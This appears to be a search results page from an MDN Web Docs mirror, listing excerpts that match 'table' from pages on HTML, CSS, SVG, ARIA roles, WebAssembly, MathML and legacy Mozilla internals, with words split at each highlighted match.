...w in the current working draft of the html 5 specification. 429 editor embedding guide embedding mozilla, guide, midas, needshelp given an nsiwebbrowser instance, get an nsidomwindow from the getcontentdomwindow call. then simply call nsiwebbrowser->do_getinterface on the nsiwebbrowser to retrieve the nsieditingsession from it. from there you call editingsession->makewindowedi
table(domwindow, editortype, pr_true). the first parameter is the nsidomwindow you just retrieved, the second is the editor type you want to create, and the third is whether you want the window edi
table immediately or when the document is done loading. in calling this method, the editor is created underneath and the event listeners are all prepa if (ns_failed(rv)) return ns_error_failure; // we are not...
...And 61 more matches
filter - CSS: Cascading Style Sheets
the blur() fucntion applies a gaussian blur to the input image. the value of radius defines the value of the standard deviation to the gaussian function, or how many pixels on the screen blend into each other, so a larger value will create more blur. the lacuna value for interpolation is 0. the parameter is specified as a css length, but does not accept percentage values. ...
...plies a gaussian blur to the input image. the value of radius defines the value of the standard deviation to the gaussian function, or how many pixels on the screen blend into each other, so a larger value will create more blur. the lacuna value for interpolation is 0. the parameter is specified as a css length, but does not accept percentage values. ...
... <fegaussianblur in="sourcegraphic" stddeviation="3.5"/> </filter> <image xlink:href="/files/3710/test_form_2.jpeg" filter="url(#svgblur)" width="212px" height="161px"/> </svg> </div> </td> <td><img alt="test_form_s.jpg" id="img4" class="internal default" src="/files/3711/test_form_2_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </
table> html { height:100%; } body { font: 14px/1.286 "lucida grande", "lucida sans unicode", "dejavu sans", lucida, arial, helvetica, sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -webkit-filter:blur(5px); -ms-filter:blur(5px); filter:blur(5px); }
table.standard-
table { border: 1px solid rgb(187, 187, 187); border-collapse:...
...And 42 more matches
Understanding WebAssembly text format - WebAssembly
pty, but is still a valid module. if we convert our module to binary now (see converting webassembly text format to wasm), we’ll see just the 8 byte module header described in the binary format: 0000000: 0061 736d ; wasm_binary_magic 0000004: 0100 0000 ; wasm_binary_version adding functionality to your module ok, that’s not very interesting, let’s add some execu
table code to this module. all code in a webassembly module is grouped into functions, which have the following pseudo-code structure: ( func <signature> <locals> <body> ) the signature declares what the function takes (parameters) and returns (return values). the locals are like vars in javascript, but with explicit types declared. the body is just a linear list of low-level instructions. so ...
...unction(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('logger.wasm'), importobject) .then(obj => { obj.instance.exports.logit(); }); note: you can find this example on github as logger.html (see it live also). declaring globals in webassembly webassembly has the ability to create global variable instances, accessible from both javascript and impor
table/expor
table across one or more webassembly.module instances. this is very useful, as it allows dynamic linking of multiple modules. in webassembly text format, it looks something like this (see global.wat in our github repo; also see global.html for a live javascript example): (module (global $g (import "js" "global") (mut i32)) (func (export "getglobal") (result i32) (global.get $...
... "global") (mut i32)) (func (export "getglobal") (result i32) (global.get $g)) (func (export "incglobal") (global.set $g (i32.add (global.get $g) (i32.const 1)))) ) this looks similar to what we've seen before, except that we specify a global value using the keyword global, and we also specify the keyword mut along with the value's datatype if we want it to be mu
table. ...
...And 38 more matches
Accessibility API cross-reference
focused, read-only, checked, etc. an interesting problem is that mozilla, safari/khtml, opera, staroffice and other apps are cross-platform, but there is currently no cross-platform accessibility api. the ipc mechanisms used by current generation api's are also not cross-platform, although communication for some cross-platform accessibility api of the future could be done through sockets. ...
... aria is a standard developed as part of the web accessibility initiative, which uses markup syntax quite familiar to users of html, xml, sgml and others. ...
...ibility api's are the same as in msaa. to do fill out mac api column.(mac os x - carbon accessibility api and accessibility constants) finish aria column - add explanation of the term 'abstract role' fill out html column create aom column fill out xul column. ...
...And 28 more matches
MathML Torture Test
</option> <option value="minion">minion</option> <option value="stixtwo">stix two</option> <option value="texgyrebonum">tex gyre bonum</option> <option value="texgyrepagella">tex gyre pagella</option> <option value="texgyreschola">tex gyre schola</option> <option value="texgyretermes">tex gyre termes</option> <option value="xits">xits</option> </select> <br/> </p> <
table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityripple.com/samples/45/d5a0dbbca3.png" width="38" height="22" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi>x</mi> <mn>...
...r> <tr> <td>18</td> <td><img src="https://udn.realityripple.com/samples/83/2259f5bfe3.png" width="250" height="66" alt="texbook, 18.23" /></td> <td> <math display="block"> <mrow> <mi>f</mi> <mo stretchy="false">(</mo> <mi>x</mi> <mo stretchy="false">)</mo> <mo>=</mo> <mrow> <mo>{</mo> <m
table> <mtr> <mtd columnalign="center"> <mrow> <mn>1</mn> <mo>/</mo> <mn>3</mn> </mrow> </mtd> <mtd columnalign="left"> <mrow> <mtext>if </mtext> <mn>0</mn> <mo>&le...
...eq;</mo> <mn>4</mn> <mo>;</mo> </mrow> </mtd> </mtr> <mtr> <mtd columnalign="center"> <mn>0</mn> </mtd> <mtd columnalign="left"> <mtext>elsewhere.</mtext> </mtd> </mtr> </m
table> </mrow> </mrow> </math> </td></tr> <tr> <td>19</td> <td><img src="https://udn.realityripple.com/samples/bf/4ccasc768c.png" width="101" height="44" alt="texbook, 18.23-18.24" /></td> <td> <math display="block"> <mover> <mrow> <mi>x</mi> <mo>+</mo> <mo>...</mo> <mo>+</mo> <mi...
...And 28 more matches
ARIA: row role - Accessibility
an element with role="row" is a row of cells within a tabular structure. a row contains one or more cells, grid cells or column headers, and possibly a row header, within a grid,
table or treegrid, and optionally within a rowgroup. ...
... an element with role="row" is a row of cells within a tabular structure. a row contains one or more cells, grid cells or column headers, and possibly a row header, within a grid,
table or treegrid, and optionally within a rowgroup. ...
...a group of rows can be nested wit...
...And 27 more matches
SVG Presentation Attributes - SVG: Scalable Vector Graphics
t-anchor text-decoration text-rendering transform unicode-bidi vector-effect visibility word-spacing writing-mode attributes alignment-baseline it specifies how an object is aligned along the font baseline with respect to its parent. ...
...eline with respect to its parent. value: auto|baseline|before-edge|text-before-edge|middle|central|after-edge|text-after-edge|ideographic|alphabetic|hanging|mathematical|inherit; anima
table: yes baseline-shift it allows repositioning of the dominant-baseline relative to the dominant-baseline of the parent text content element. value: auto|baseline|super|sub|<percentage>|<length>|inherit; anima
table: yes clip deprecated it defines what portion of an element is visible. value: auto|<shape()>|inherit; anima
table: yes clip-path it binds the element it is applied to with a given <clippath> element. value: none|<funciri>|inherit; anima
table: yes clip-rule it indicates how to determine what side of a path is inside a shape in order to know how a <clippath> should clip its target. value: n...
...ines what portion of an element is visible. value: auto|<shape()>|inherit; anima
table: yes clip-path it binds the element it is applied to with a given <clippath> element. value: none|<funciri>|inherit; anima
table: yes clip-rule it indicates how to determine what side of a path is inside a shape in order to know how a <clippath> should clip its target. value: nonezero|evenodd|inherit; anima
table: yes color it provides a potential indirect value (currentcolor) for the fill, stroke, stop-color, flood-color and lighting-color presentation attributes. value: <color>|inherit; anima
table: yes color-interpolation it specifies the color space for gradient interpolations, color animations, and alpha compositing. ...
...And 25 more matches
HTML documentation index - HTML: Hypertext Markup Language
eference, web global attributes are attributes common to all html elements; they can be used on all elements, though they may have no effect on some elements. 8 accesskey global attributes, html, reference, accesskey the accesskey global attribute provides a hint for generating a keyboard shortcut for the current element. the attribute value must consist of a single prin
table character (which includes accented and other characters that can be generated by the keyboard). 9 autocapitalize autocapitalize, global attributes, html, reference the autocapitalize global attribute is an enumerated attribute that controls whether and how text input is automatically capitalized as it is entered/edited by the user. 10 class global attributes, h...
... capitalized as it is entered/edited by the user. 10 class global attributes, html, reference the class global attribute is a space-separated list of the case-sensitive classes of the element. classes allow css and javascript to select and access specific elements via the class selectors or functions like the dom method document.getelementsbyclassname. 11 contentedi
table editing, global attributes, html, reference, text editing, contentedi
table, text entry, text input the contentedi
table global attribute is an enumerated attribute indicating if the element should be edi
table by the user. if so, the browser modifies its widget to allow editing. 12 contextmenu deprecated, global attributes, html, reference, contextmenu the contextmenu...
... 18 id global attributes, html, reference, web, id the id global attribute defines an identifier (id) which must be unique in the whole document. its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css). 19 inputmode attribute, editing, forms, global attributes, html, input, reference, text, web, contentedi
table, global, inputmode, text input the inputmode global attribute is an enumerated attribute that hints at the type of data that might be entered by the user while editing the element or its contents. 20 is global attributes, html, reference, is the is global attribute allows you to specify that a standard html element should behave like a defined custom built-in element (s...
...And 22 more matches
Index - Archive of obsolete content
le in xul and cross-platform development. in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul. 4 accessibility/xul accessibility reference accessibility, xul this
table is designed to show how to expose text properly for various xul element types. sections in bold are to draw attention to pieces that are often overlooked for visual layouts. underlined text may be read by the screen reader. 5 attribute (xul) xul attributes, xul reference no summary! 6 flexgroup "flexgroup" is used to group flexible elements together and ...
...summary! 102 disablesecurity xul attributes, xul reference no summary! 103 dlgtype xul attributes, xul reference no summary! 104 dragging xul attributes, xul reference no summary! 105 drawintitlebar no summary! 106 droppedlinkhandler xul attributes, xul reference no summary! 107 edi
table xul attributes, xul reference no summary! 108 editor.type xul attributes, xul reference no summary! 109 editortype xul attributes, xul reference no summary! 110 element xul attributes, xul reference no summary! 111 empty xul attributes, xul reference no summary! 112 emptytext xul attribute...
...ributes, xul reference no summary! 286 popupalign no summary! 287 popupanchor no summary! 288 position xul attributes, xul reference no summary! 289 predicate xul attributes, xul reference no summary! 290 preference xul attributes, xul reference no summary! 291 preference-edi
table xul attributes, xul reference no summary! 292 preference.name xul attributes, xul reference no summary! 293 preference.type needshelp, reference, référence(2), xul attributes, xul reference no summary! 294 prefpane.selected xul attributes, xul reference no summary! 295 prefpane.src xul attributes, xul refere...
...And 21 more matches
ARIA: cell role - Accessibility
. <div role="row"> <span role="cell">france</span> <span role="cell">67 million</span> </div> a better, more semantic way of writing the cells above would be to use the semantic <td> element. <tr role="row"> <td role="cell">france</td> <td role="cell">67 million</td> </tr> description the element with role="cell" is a cell within a row, optionally within a rowgroup, within a grid,
table or treegrid within a static tabular structure. using native html <td> elements, whenever possible, is strongly encouraged. each element with role="cell" must be nested in a container element with role="row". that row, in turn, can be nested within an element with role="rowgroup", and should be nested within a grid,
table or treegrid. if a cell contains column or row header information, use the c...
...use the colheader or rowheader roles, respecitively. if the cell does not contain header information and is nested in a grid or treegrid, the role of gridcell may be more appropriate. a cell can contain a number of property attributes clarifying the cell's position within the tabular data structure, including aria-colindex, aria-colspan, aria-rowindex, and aria-rowspan. ...
...r or rowheader roles, respecitively. if the cell does not contain header information and is nested in a grid or treegrid, the role of gridcell may be more appropriate. a cell can contain a number of property attributes clarifying the cell's position within the tabular data structure, including aria-colindex, aria-colspan, aria-rowindex, and aria-rowspan. ...
...And 20 more matches
dominant-baseline - SVG: Scalable Vector Graphics
the dominant-baseline attribute specifies the dominant baseline, which is the baseline used to align the box’s text and inline-level contents. it also indicates the default alignment baseline of any boxes participating in baseline alignment in the box’s alignment context. it is used to determine or re-determine a scaled-baseline-
table. ...
... the dominant-baseline attribute specifies the dominant baseline, which is the baseline used to align the box’s text and inline-level contents. it also indicates the default alignment baseline of any boxes participating in baseline alignment in the box’s alignment context. it is used to determine or re-determine a scaled-baseline-
table. ...
...the baseline used to align the box’s text and inline-level contents. it also indicates the default alignment baseline of any boxes participating in baseline alignment in the box’s alignment context. it is used to determine or re-determine a scaled-baseline-
table. a scaled-baseline-
table is a compound value with three components: a baseline-identifier for the dominant-baseline, a baseline-
table, and a baseline-
table font-size. some values of the property re-determine all three values. ...
...And 20 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
warning: the content of this article may be out of date. this article was written on august 31, 2001; it is not compatible with current versions of firefox. this article applies to mozilla versions 0.9.2 and higher and netscape versions 6.1 and higher. it does not cover netscape 6 and 6.01 introduction plugins that used to take advantage of being scrip
table via liveconnect in 4.x netscape browsers lost this possibility in the new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the new mozilla xpcom architecture allows xpcom components be scrip
table via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript...
...ozilla xpcom architecture allows xpcom components be scrip
table via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers. in order to make it still possible to script plugins, some changes have been made to the mozilla code. the changes allow to make existing 4.x plugins scrip
table with only minor modifications in their code. the present document describes the steps of what should be done to the plugin code to turn it scrip
table again. what's in the mozilla code? a couple of lines have been added to the dom code asking a plugin to return a scrip
table iid and a pointer to a scrip
table instance object. the old plugin api call npp_getvalue is used to retrieve this information ...
...at's in the mozilla code? a couple of lines have been added to the dom code asking a plugin to return a scrip
table iid and a pointer to a scrip
table instance object. the old plugin api call npp_getvalue is used to retrieve this information from the plugin. so the plugin project should be aware of two new additions to nppvariable enumeration type which are now defined in npapi.h as: nppvpluginscrip
tableinstance = 10, nppvpluginscrip
tableiid = 11 and two analogous additions to nsplugininstancevariable type in nsplugindefs.h as: nsplugininstancevariable_scrip
tableinstance = 10, nsplugininstancevariable_scrip
tableiid = 11 what's in the plugin code? a unique interface id should be obtained. windows command uuidgen should be sufficient. an interface definition (.idl) file describing the ...
...And 19 more matches
ARIA: rowgroup role - Accessibility
an element with role="rowgroup" is a group of rows within a tabular structure. a rowgroup contains one or more rows of cells, grid cells, column headers, or row headers within a grid,
table or treegrid. ...
... an element with role="rowgroup" is a group of rows within a tabular structure. a rowgroup contains one or more rows of cells, grid cells, column headers, or row headers within a grid,
table or treegrid. ...
...cell">france</span> <span role="cell">67 million</span> </div> </div> </div> description rowgroup establishes a relationship between owned row elements and is a structural equivalent to the thead, tfoot and tbody elements in html. there is, however, no differentiation between different types of rowgroups. their elements must be contained in, or owned by, elements with either the
table or grid role. using the native <thead>, <tfoot> , and <tbody> html elements, whenever possible, is strongly encouraged. to create an aria
table header,
table footer or
table body, add role="rowgroup" to the element. that rowgroup should be nested within a grid,
table or treegrid, encompassing a group of one or more rows. each row, in turn, contains child cells. these cells can be of different ty...
...And 19 more matches
display - CSS: Cascading Style Sheets
rmally, the display property sets an element's inner and outer display types. the outer type sets an element's participation in flow layout; the inner type sets the layout of children. some values of display are fully defined in their own individual specifications; for example the detail of what happens when display: flex is declared is defined in the css flexible box model specification. see the
table at the end of this document for all of the individual specifications. syntax the css display property is specified using keyword values. keyword values are grouped into six value categories: .container { display: [ <display-outside> || <display-inside> ] | <display-listitem> | <display-internal> | <display-box> | <display-legacy> ; } outside <display-outside> these keywords specify th...
... as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a new block formatting context (bfc) for its contents or integrates its contents into its parent formatting context. flow-root the element generates a block element box that establishes a new block formatting context, defining where the formatting root lies.
table these elements behave like html <
table> elements. it defines a block-level box. flex the element behaves like a block element and lays out its content according to the flexbox model. grid the element behaves like a block element and lays out its content according to the grid model. ruby the element behaves like an inline element and lays out its content according to the ruby formatting m...
...style-position. list-item can also be combined with any <display-outside> keyword and the flow or flow-root <display-inside> keywords. note: in browsers that support the two-value syntax, if no inner value is specified it will default to flow. if no outer value is specified, the principal box will have an outer display type of block. ...
...And 19 more matches
x - SVG: Scalable Vector Graphics
000/svg"> <rect x="20" y="20" width="60" height="60" /> <rect x="120" y="20" width="60" height="60" /> <rect x="220" y="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used. for <altglyph>, x defines the x-axis coordinate of the alternate glyph. value list of <length> default value none anima
table yes feblend for <feblend>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecolormatrix for <fecolormatrix>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value ...
...end for <feblend>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecolormatrix for <fecolormatrix>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecomponenttransfer for <fecomponenttransfer>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecomposite for <fecomposite>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> ...
... <fecomponenttransfer>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecomposite for <fecomposite>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes feconvolvematrix for <feconvolvematrix>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fediffuselighting for <fediffuselighting>, x defines the minimum x coordinate for the rendering area of the primitive. value <length> | <percentage...
...And 19 more matches
y - SVG: Scalable Vector Graphics
000/svg"> <rect y="20" x="20" width="60" height="60" /> <rect y="120" x="20" width="60" height="60" /> <rect y="220" x="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used. for <altglyph>, y defines the y-axis coordinate of the alternate glyph. value list of <length> default value none anima
table yes feblend for <feblend>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecolormatrix for <fecolormatrix>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value ...
...end for <feblend>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecolormatrix for <fecolormatrix>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecomponenttransfer for <fecomponenttransfer>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecomposite for <fecomposite>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> ...
... <fecomponenttransfer>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fecomposite for <fecomposite>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes feconvolvematrix for <feconvolvematrix>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage> default value 0% anima
table yes fediffuselighting for <fediffuselighting>, y defines the minimum y coordinate for the rendering area of the primitive. value <length> | <percentage...
...And 19 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
o be specified (or parsed) or are to be serialized as part of a css property value. it is defined by the formal syntax of the property and normally refers to the order in which longhand values should be specified as part of a single shorthand value. 65 canvas codingscripting, glossary, graphics, html, javascript the canvas element is part of html5 and allows for dynamic, scrip
table rendering of 2d and 3d shapes and bitmap images. 66 card sorting card sorting, design, glossary card sorting is a simple technique used in information architecture whereby people involved in the design of a website (or other type of product) are invited to write down the content / services / features they feel the product should contain, and then organize those features into ...
...codingscripting, developer tools, glossary developer tools (or "development tools" or short "devtools") are programs that allow a developer to create, test and debug software. 112 digest cryptography, glossary, privacy, security a digest is a small value generated by a hash function from a whole message. ideally, a digest is quick to calculate, irreversible, and unpredic
table, and therefore indicates whether someone has tampered with a given message. 113 digital certificate cryptography, glossary, security a digital certificate is a data file that binds a publicly known cryptographic key to an organization. 114 distributed denial of service attack, ddos, denial of service, glossary, intro, security a distributed denial-of-serv...
...cript is also an object. 162 fuzz testing firefox, fuzzing, mozilla, qa, security, testing fuzzing is a technique for testing software using automated tools to provide invalid or unexpected input to a program or function in a program, then checking the results to see if the program crashes or otherwise acts inappropriately. this is an important way to ensure that software is s
table, reliable, and secure, and we use fuzzing a lot at mozilla. 163 gif composing, glossary gif (graphics interchange format) is an image format that uses lossless compression and can be used for animations. a gif uses up to 8 bits per pixel and a maximum of 256 colors from the 24-bit color space. 164 gij automation, codingscripting, gaia, integration, tests ...
...And 18 more matches
SVG documentation index - SVG: Scalable Vector Graphics
calable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content. 3 compatibility sources svg the following sources are used for the compatibility
tables on svg elements and attributes: 4 content type needstechnicalreview, svg, types, data types svg makes use of a number of data types. this article lists these types along with their syntax and descriptions of what they're used for. 5 linking guide, svg the target attribute on the svg <a> element doesn't work in mozilla firefox 1.5. when svg documents are ...
...the svg styling attributes are all the attributes that can be specified on any svg element to apply css styling effects. 19 accent-height deprecated, needsexample, svg, svg attribute the accent-height attribute defines the distance from the origin to the top of accent characters, measured by a distance within the font coordinate system. 20 accumulate needscompat
table, needsexample, svg, svg attribute this attribute controls whether or not the animation is cumulative. 21 additive needscompat
table, needsexample, svg, svg attribute no summary! 22 alignment-baseline svg, svg attribute the alignment-baseline attribute specifies how an object is aligned with respect to its parent. this property specifies which baselin...
...o stay aligned across font size changes. it defaults to the baseline with the same name as the computed value of the alignment-baseline property. 23 alphabetic deprecated, svg, svg attribute the alphabetic attribute defines the lower baseline of a font. it has the same syntax and semantics as the baseline descriptor within an @font-face. 24 amplitude needscompat
table, svg, svg attribute the amplitude attribute controls the amplitude of the gamma function of a component transfer element when its type attribute is gamma. 25 arabic-form deprecated, svg, svg attribute the arabic-form attribute indicates which of the four possible forms an arabic glyph represents. 26 ascent deprecated, needsexample, svg, svg attribute ...
...And 18 more matches
HTML: A good basis for accessibility - Learn web development
ou can use a combination of css and javascript to make just about any html element behave in whatever way you want. for example, a control button to play a video on your site could be marked up like this: <div>play video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play video</button> not only do html <button>s have some sui
table styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can navigate between buttons using the tab key and activate their selection using return or enter. semantic html doesn't take any longer to write than non-semantic (bad) markup if you do it consistently from the start of your project. even better, semantic markup has ot...
...e prepared a version with longer text for you to try out with a screen reader (see good-semantics.html). if you try navigating through this, you'll see that this is pretty easy to navigate: the screen reader reads each header out as you progress through the content, notifying you what a heading is, what is a paragraph, etc. it stops after each element, letting you go at whatever pace is comfor
table for you. you can jump to the next/previous heading in many screen readers. you can also bring up a list of all headings in many screen readers, allowing you to use them as a handy
table of contents to find specific content. people sometimes write headings, paragraphs, etc. using presentational html and line breaks, something like the following: <font size="7">my heading</font> <br><br> this ...
...e to be able to find this content! <br><br> <font size="5">my 2nd subheading</font> <br><br> this is the second subsection of my content. i think is more interesting than the last one. if you try our longer version out with a screen reader (see bad-semantics.html), you'll not have a very good experience — the screen reader hasn't got anything to use as signposts, so you can't retrieve a useful
table of contents, and the whole page is seen as a single giant block, so it is just read out in one go, all at once. there are other issues too beyond accessibility — it is harder to style the content using css, or manipulate it with javascript, for example, because there are no elements to use as selectors. using clear language the language you use can also affect accessibility. in general, you ...
...And 17 more matches
HTML: A good basis for accessibility - Learn web development
ou can use a combination of css and javascript to make just about any html element behave in whatever way you want. for example, a control button to play a video on your site could be marked up like this: <div>play video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play video</button> not only do html <button>s have some sui
table styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can navigate between buttons using the tab key and activate their selection using return or enter. semantic html doesn't take any longer to write than non-semantic (bad) markup if you do it consistently from the start of your project. even better, semantic markup has ot...
...e prepared a version with longer text for you to try out with a screen reader (see good-semantics.html). if you try navigating through this, you'll see that this is pretty easy to navigate: the screen reader reads each header out as you progress through the content, notifying you what a heading is, what is a paragraph, etc. it stops after each element, letting you go at whatever pace is comfor
table for you. you can jump to the next/previous heading in many screen readers. you can also bring up a list of all headings in many screen readers, allowing you to use them as a handy
table of contents to find specific content. people sometimes write headings, paragraphs, etc. using presentational html and line breaks, something like the following: <font size="7">my heading</font> <br><br> this ...
...e to be able to find this content! <br><br> <font size="5">my 2nd subheading</font> <br><br> this is the second subsection of my content. i think is more interesting than the last one. if you try our longer version out with a screen reader (see bad-semantics.html), you'll not have a very good experience — the screen reader hasn't got anything to use as signposts, so you can't retrieve a useful
table of contents, and the whole page is seen as a single giant block, so it is just read out in one go, all at once. there are other issues too beyond accessibility — it is harder to style the content using css, or manipulate it with javascript, for example, because there are no elements to use as selectors. using clear language the language you use can also affect accessibility. in general, you ...
...And 17 more matches
Mozilla DOM Hacking Guide
ible thanks to the magic of the interaction between xpconnect and the dom. the second example is the history object. other browsers allow the history object to be used like an array, e.g. history[1]. the behavior "act as an array" cannot be reflected in the idl itself. fortunately, xpconnect provides us with a way to make our class available as an array in javascript. i'm talking about the "scrip
table flags". the nsixpcscrip
table interface, implemented by the nsdomclassinfo class (see section) defines several flags, one of which is the want_getproperty flag. when set, it allows us to define a getproperty() function on nshistorysh (the helper class for the history object), which will handle the array behavior. indeed, it will forward the call history[1] to history.item(1), which is defined in t...
... first one calls the second one. the first argument passed to ns_define_classinfo_data_with_name, _class, is used for debug purposes. the second argument, _name, is the name that should appear in javascript. the third argument, _helper, is the name of the helper class for this dom class. helper classes are detailed in section 1.3. the fourth and last argument, _flags, is a bitvector of nsixpcscrip
table flags. the macros for those flags are defined nsdomclassinfo.cpp. the flags give special behavior through xpconnect. see also section 1.9. the nsdomclassinfodata objects are created in the sclassinfodata array by explicitly initializing it. here is the description of the structure: const char *mname: c-style string that is passed as second argument to the macro. it is the name of the javascri...
...ance of the relevant helper class. const nsiid *mprotochaininterface: pointer to the iid of the first interface available to javascript clients. this is used in global resolve functions, when xpconnect has to find the member function to call. const nsiid **minterfaces: pointer to the first element of an array of pointers to all the interfaces available through js for this class. pruint32 mscrip
tableflags: 31; : the fourth argument passed to ns_define_classinfo_data_with_name. prbool mhasclassinterface: 1; : help me? mname and mconstructorfptr, mscrip
tableflags and mhasinterface are initialized by ns_define_classinfo_data_with_name. mcachedclassinfo, mprotochaininterface and minterfaces, however, are initialized in nsdomclassinfo::init(), described in section 1.5. interface flattening on...
...And 16 more matches
Introduction to CSS layout - Learn web development
out techniques allow us to take elements contained in a web page and control where they are positioned relative to their default position in normal layout flow, the other elements around them, their parent container, or the main viewport/window. the page layout techniques we'll be covering in more detail in this module are normal flow the display property flexbox grid floats positioning
table layout multiple-column layout each technique has its uses, advantages, and disadvantages, and no technique is designed to be used in isolation. by understanding what each method is designed for you will be in a good place to understand which is the best layout tool for each task. normal flow normal flow is how the browser lays out html pages by default when you do nothing to control page lay...
...gside one side of an element, like the way images sometimes have text floating around them in magazine layouts. the position property — allows you to precisely control the placement of boxes inside other boxes. static positioning is the default in normal flow, but you can cause elements to be laid out differently using other values, for example always fixed to the top of the browser viewport.
table layout — features designed for styling the parts of an html
table can be used on non-
table elements using display:
table and associated properties. multi-column layout — the multi-column layout properties can cause the content of a block to layout in columns, as you might see in a newspaper. the display property the main methods of achieving page layout in css are all values of the displa...
...odo et a urna. ut id ornare felis, eget fermentum sapien.</p> body { width: 500px; margin: 0 auto; } .positioned { background: rgba(255,84,104,.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; border-radius: 5px; } .positioned { position: sticky; top: 30px; left: 30px; } note: to find more out about positioning, see our positioning article. ...
...And 15 more matches
Mork
the source code of the mork database in mozilla and attempting to codify what it parses as faithfully as possible. in a few cases, constructs that the parser supported but were never used in mozilla's code are left unspecified. mork structure mork is a schema-less database format. at its core, it can be viewed as a set of rows, collections of name-value pairs, which can be organized into various
tables. rows need not be in a
table, nor need they be in only one
table. values are merely an opaque sequence of bytes, so their actual content is dependent on the mork consumer. except when parsing values, whitespace ('\b', '\t', '\r', '\n', '\f', ' ', and '\x7f'), line continuations ('\\' followed by a newline), and comments (c++ or c style) can be ignored. in practice, only c++-style comments, and t...
...dependent on the mork consumer. except when parsing values, whitespace ('\b', '\t', '\r', '\n', '\f', ' ', and '\x7f'), line continuations ('\\' followed by a newline), and comments (c++ or c style) can be ignored. in practice, only c++-style comments, and the standard whitespace characters ('\t', ' ', '\r', '\n') appear to be used. ...
..., line continuations ('\\' followed by a newline), and comments (c++ or c style) can be ignored. in practice, only c++-style comments, and the standard whitespace characters ('\t', ' ', '\r', '\n') appear to be used. ...
...And 15 more matches
Examples of web and XML development using the DOM - Web APIs
body { background-color: darkblue; } p { font-face: arial; font-size: 10pt; margin-left: .125in; } #lumpy { display: none; } this script outputs the following: body p #lumpy example 5: event propagation this example demonstrates how events fire and are handled in the dom in a very simple way. when the body of this html document loads, an event listener is registered with the top row of the
table. the event listener handles the event by executing the function stopevent, which changes the value in the bottom cell of the
table. however, stopevent also calls an event object method, event.stoppropagation, which keeps the event from bubbling any further up into the dom. note that the
table itself has an onclick event handler that ought to display a message when the
table is clicked. but the s...
...vent, which changes the value in the bottom cell of the
table. however, stopevent also calls an event object method, event.stoppropagation, which keeps the event from bubbling any further up into the dom. note that the
table itself has an onclick event handler that ought to display a message when the
table is clicked. but the stopevent method has stopped propagation, and so after the data in the
table is updated, the event phase is effectively ended, and an alert box is displayed to confirm this. <!doctype html> <html lang="en"> <head> <title>event propagation</title> <style> #t-daddy { border: 1px solid red } #c1 { background-color: pink; } </style> <script> function stopevent(ev) { c2 = document.getelementbyid("c2"); c2.innerhtml = "hello"; // this ought to keep t-daddy from gettin...
...r: pink; } </style> <script> function stopevent(ev) { c2 = document.getelementbyid("c2"); c2.innerhtml = "hello"; // this ought to keep t-daddy from getting the click. ...
...And 15 more matches
Using the WebAssembly JavaScript API - WebAssembly
ument is specified in units of webassembly pages: memory.grow(1); if a maximum value was supplied upon creation of the memory instance, attempts to grow past this maximum will throw a webassembly.rangeerror exception. the engine takes advantage of this supplied upper-bounds to reserve memory ahead of time, which can make resizing more efficient. note: since an arraybuffer’s bytelength is immu
table, after a successful memory.prototype.grow() operation the buffer getter will return a new arraybuffer object (with the new bytelength) and any previous arraybuffer objects become “detached”, or disconnected from the underlying memory they previously pointed to. just like functions, linear memories can be defined inside a module or imported. similarly, a module may also optionally export its ...
